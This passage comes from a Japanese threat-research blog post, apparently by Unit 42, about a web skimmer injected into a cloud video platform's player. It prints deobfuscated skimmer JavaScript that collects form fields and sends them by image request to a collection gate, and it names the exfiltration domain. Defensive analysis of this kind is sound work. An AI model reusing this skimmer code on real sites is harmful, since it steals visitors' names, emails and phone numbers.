h.SaveParam(inputs[i]);\r\n\u00a0\u00a0\u00a0\u00a0\u00a0for(var i = 0; i &lt; selects.length; i++) h.SaveParam(selects[i]);\r\n\u00a0\u00a0\u00a0\u00a0\u00a0for(var i = 0; i &lt; textareas.length; i++) h.SaveParam(textareas[i]);\r\n\u00a0}\r\n\r\n\u00a0\u00a0\/\/ l(\"0x1c\") is string \"SendData\"\r\n\u00a0h[\"SendData\"]: function() {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0if (!e.devtools.isOpen &amp;&amp; h.IsValid) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0h.Data[\"Domain\"] = location.hostname;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data)));\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0var r = t.hashCode();\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0for (var i = 0; i &lt; h.Sent.length; i++)\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (h.Sent[i] == r) return;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0h.LoadImage(t)\r\n\u00a0\u00a0\u00a0\u00a0\u00a0}\r\n},\r\n\r\n\/\/ l(\"0x1d\") is string \"TrySend\"\r\nh[\"TrySend\"] = function() {\r\n\u00a0\u00a0\u00a0\u00a0h.SaveAllFields();\r\n\u00a0\u00a0\u00a0\u00a0h.SendData()\r\n};\r\n\r\nh[\"LoadImage\"] = function(e) {\r\n\u00a0\u00a0\u00a0\u00a0h.Sent.push(e.hashCode());\r\n\u00a0\u00a0\u00a0\u00a0var r = t.createElement(l(\"0x1e\")); \/\/ l(\"0x1e\") is string \"IMG\"\r\n\u00a0\u00a0\u00a0\u00a0r.src = h.GetImageUrl(e)\r\n};\r\n\r\n\/\/ l(\"0x1f\") is string \"GetImageUrl\"\r\nh[\"GetImageUrl\"] = function(e) {\r\n\u00a0\u00a0\u00a0\u00a0return h.Gate + l(\"0x20\") + e\r\n};\r\n\r\n\/\/ l(\"0x21\") is string \"onreadystatechange \"\r\nt[\"onreadystatechange\"] = function() {\r\n\/\/if(document.readyState === 'complete')\u00a0\r\n\u00a0\u00a0\u00a0\u00a0if (t[l(\"0x22\")] === l(\"0x23\")) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0e[l(\"0x24\")](h[l(\"0x1d\")], 500) \/\/ call setInterval(TrySend, 500);\r\n\u00a0\u00a0\u00a0\u00a0}\r\n};<\/pre>\n<p><!-- [Format Time: 0.0055 seconds] --><\/p>\n<h2><a id=\"malicious-code-in-video\"><\/a>\u30d3\u30c7\u30aa\u306b\u542b\u307e\u308c\u308b\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9<\/h2>\n<p>\u6b21\u306f\u3001\u653b\u6483\u8005\u304c\u3069\u306e\u3088\u3046\u306a\u65b9\u6cd5\u3067\u30af\u30e9\u30a6\u30c9\u30d3\u30c7\u30aa\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306e\u30d7\u30ec\u30a4\u30e4\u30fc\u306b\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u633f\u5165\u3059\u308b\u306e\u304b\u3092\u898b\u3066\u307f\u307e\u3059\u3002\u3053\u306e\u30af\u30e9\u30a6\u30c9\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3067\u306f\u3001JavaScript\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u30ab\u30b9\u30bf\u30de\u30a4\u30ba\u3057\u305f\u30d7\u30ec\u30a4\u30e4\u30fc\u3092\u4f5c\u6210\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30b1\u30fc\u30b9\u306e\u5834\u5408\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u3001\u4e0a\u6d41\u3067\u60aa\u610f\u306e\u3042\u308b\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u542b\u3081\u3089\u308c\u308b\u3088\u3046\u306a\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>\u79c1\u305f\u3061\u306f\u3001\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u5834\u6240\u306b\u3042\u308b\u9759\u7684\u306a\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u3053\u306e\u653b\u6483\u8005\u304c\u5909\u66f4\u3057\u3066\u30b9\u30ad\u30de\u30fc\u30b3\u30fc\u30c9\u3092\u6dfb\u4ed8\u3057\u305f\u3068\u63a8\u6e2c\u3057\u3066\u3044\u307e\u3059\u3002\u305d\u306e\u6b21\u306e\u30d7\u30ec\u30a4\u30e4\u30fc\u66f4\u65b0\u6642\u306b\u3001\u3053\u306e\u30d3\u30c7\u30aa\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306f\u3001\u4fb5\u5bb3\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u518d\u3073\u53d6\u308a\u8fbc\u307f\u3001\u5f71\u97ff\u3092\u53d7\u3051\u305f\u30d7\u30ec\u30a4\u30e4\u30fc\u3068\u3068\u3082\u306b\u63d0\u4f9b\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u30b3\u30fc\u30c9\u89e3\u6790\u304b\u3089\u3001\u30b9\u30ad\u30de\u30fc\u7528\u306e\u30b9\u30cb\u30da\u30c3\u30c8\u306f\u3001\u88ab\u5bb3\u8005\u306e\u6c0f\u540d\u3001\u96fb\u5b50\u30e1\u30fc\u30eb\u3001\u96fb\u8a71\u756a\u53f7\u306a\u3069\u306e\u6a5f\u5fae\u60c5\u5831\u3092\u53ce\u96c6\u3057\u3001VirusTotal\u3067\u3082\u60aa\u610f\u304c\u3042\u308b\u3068\u30de\u30fc\u30af\u3055\u308c\u3066\u3044\u308b\u53ce\u96c6\u30b5\u30fc\u30d0\u30fc<span style=\"font-family: 'courier new', courier, monospace;\">(https:\/\/cdn-imgcloud[.]com\/img<\/span>)\u306b\u9001\u4fe1\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_121452\" aria-describedby=\"caption-attachment-121452\" style=\"width: 1427px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-121453 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/12\/word-image-21.png\" alt=\"\u4eca\u56de\u53d6\u308a\u4e0a\u3052\u305fWeb\u30b9\u30ad\u30de\u30fc\u304c\u88ab\u5bb3\u8005\u304b\u3089\u53ce\u96c6\u3057\u305f\u6a5f\u5fae\u60c5\u5831\u3092\u9001\u4fe1\u3059\u308b\u53ce\u96c6\u30b5\u30fc\u30d0\u30fc\u3092VirusTotal\u304c\u5224\u5b9a\u3057\u305f\u7d50\u679c \" width=\"1427\" height=\"657\" \/><figcaption id=\"caption-attachment-121452\" class=\"wp-caption-text\">\u56f33 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id=\"conclusion\"><\/a>\u7d50\u8ad6<\/h2>\n<p>\u4eca\u56de\u306e\u30b9\u30ad\u30de\u30fc\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u306f\u3001\u60aa\u610f\u3042\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u3001\u30b9\u30ad\u30de\u30fc\u30b9\u30af\u30ea\u30d7\u30c8\u304b\u3089\u30bd\u30fc\u30b9\u3067\u3042\u308b\u30af\u30e9\u30a6\u30c9\u30d3\u30c7\u30aa\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u307e\u3067\u8ffd\u8de1\u3057\u307e\u3057\u305f\u3002\u307e\u305f\u30b9\u30ad\u30de\u30fc\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u53ce\u96c6\u3057\u305f\u30b3\u30fc\u30c9\u30b9\u30cb\u30da\u30c3\u30c8\u306b\u3064\u3044\u3066\u3082\u6df1\u304f\u6398\u308a\u4e0b\u3052\u307e\u3057\u305f\u3002<\/p>\n<p>\u30b9\u30ad\u30de\u30fc\u306f\u975e\u5e38\u306b\u5909\u5316\u304c\u65e9\u304f\u3001\u6355\u6349\u304c\u96e3\u3057\u304f\u3001\u7d76\u3048\u305a\u9032\u5316\u3057\u3066\u3044\u307e\u3059\u3002\u30af\u30e9\u30a6\u30c9\u914d\u4fe1\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3068\u7d44\u307f\u5408\u308f\u305b\u308c\u3070\u3001\u3053\u306e\u7a2e\u306e\u30b9\u30ad\u30de\u30fc\u306b\u3088\u308b\u5f71\u97ff\u306f\u751a\u5927\u3067\u3059\u3002\u305d\u306e\u305f\u3081\u4eca\u56de\u306e\u3088\u3046\u306a\u653b\u6483\u306f\u3001\u300c\u5de7\u5999\u306a\u6226\u7565\u3092\u89e3\u304d\u660e\u304b\u3057\u3066\u6839\u672c\u539f\u56e0\u3092\u7a81\u304d\u6b62\u3081\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u304b\u300d\u3068\u3044\u3046\u96e3\u3057\u3044\u6311\u6226\u3092\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306b\u7a81\u304d\u3064\u3051\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002\u30b9\u30ad\u30de\u30fc\u304c\u4f7f\u7528\u3059\u308b\u30c9\u30e1\u30a4\u30f3\u540d\u3084URL\u3092\u30d6\u30ed\u30c3\u30af\u3059\u308b\u3060\u3051\u3067\u306f\u52b9\u679c\u304c\u306a\u3044\u3053\u3068\u304b\u3089\u3001\u3053\u306e\u7a2e\u306e\u30b9\u30ad\u30de\u30fc\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u691c\u77e5\u306b\u306f\u3088\u308a\u6d17\u7df4\u3055\u308c\u305f\u6226\u7565\u7acb\u6848\u304c\u5fc5\u8981\u3067\u3059\u3002<\/p>\n<p>Web\u30b5\u30a4\u30c8\u306e\u7ba1\u7406\u8005\u306b\u306f\u3001\u3042\u3089\u3086\u308b\u30a2\u30ab\u30a6\u30f3\u30c8\u306e\u4fdd\u8b77\u3001\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u3084\u30bd\u30fc\u30b7\u30e3\u30eb\u30a8\u30f3\u30b8\u30cb\u30a2\u30ea\u30f3\u30b0\u306b\u3088\u308b\u7a83\u53d6\u306e\u9632\u6b62\u3001\u30d1\u30fc\u30df\u30c3\u30b7\u30e7\u30f3\u306e\u9069\u5207\u306a\u7ba1\u7406\u304c\u671b\u307e\u308c\u307e\u3059\u3002\u307e\u305fWeb\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u6574\u5408\u6027\u30c1\u30a7\u30c3\u30af\u3092\u5b9a\u671f\u7684\u306b\u884c\u3046\u3053\u3068\u3082\u5f37\u304f\u63a8\u5968\u3055\u308c\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001Web\u30b5\u30a4\u30c8\u30b3\u30f3\u30c6\u30f3\u30c4\u3078\u306e\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u633f\u5165\u3092\u691c\u77e5\u30fb\u9632\u6b62\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u6b21\u4e16\u4ee3\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u306e<a href=\"https:\/\/www.paloaltonetworks.jp\/products\/secure-the-network\/wildfire\">WildFire<\/a>\u304a\u3088\u3073<a href=\"https:\/\/www.paloaltonetworks.jp\/products\/threat-detection-and-prevention\/web-security\">URL Filtering<\/a>\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u30b5\u30fc\u30d3\u30b9\u306b\u3088\u308a\u3001\u30b9\u30ad\u30de\u30fc(\u5225\u540d\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0)\u653b\u6483\u304b\u3089\u4fdd\u8b77\u3055\u308c\u307e\u3059\u3002<\/p>\n<h2><a id=\"indicators-of-compromise\"><\/a>IoC<\/h2>\n<p>\u672c\u7a3f\u3067\u53d6\u308a\u4e0a\u3052\u305fWeb\u30b9\u30ad\u30de\u30fc\u653b\u6483\u306eIoC\u306f\u3001\u3053\u3061\u3089\u306e<a href=\"https:\/\/github.com\/pan-unit42\/iocs\/blob\/master\/Skimmer_IOC.txt\">GitHub<\/a>\u3067\u78ba\u8a8d\u3067\u304d\u307e\u3059\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 \u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u306f\u3001\u983b\u7e41\u306b\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u306e\u6a19\u7684\u306b\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u305d\u306e\u7406\u7531\u306f\u3001\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u5185\u306e\u300c\u5f31\u3044\u30ea\u30f3\u30af\u300d\u3092\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u3059\u308b\u3053\u3068\u3067\u3001\u3088\u308a\u591a\u304f\u306e\u88ab\u5bb3\u8005\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308b\u304b\u3089\u3067\u3059\u3002\u3068\u304f\u306b\u305d\u306e\u5f31\u3044\u30ea<\/p>\n","protected":false},"author":57,"featured_media":134386,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4324,4434,1974,4428],"tags":[5782,4795],"product_categories":[4443,4340,4444],"coauthors":[71,206,835],"class_list":["post-121480","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybercrime","category-cybercrime-ja","category-malware-ja","category-threat-research-ja","tag-formjacking-attack","tag-web-skimmer-ja","product_categories-advanced-url-filtering-ja","product_categories-advanced-wildfire","product_categories-advanced-wildfire-ja"],"yoast_head":"<!-- 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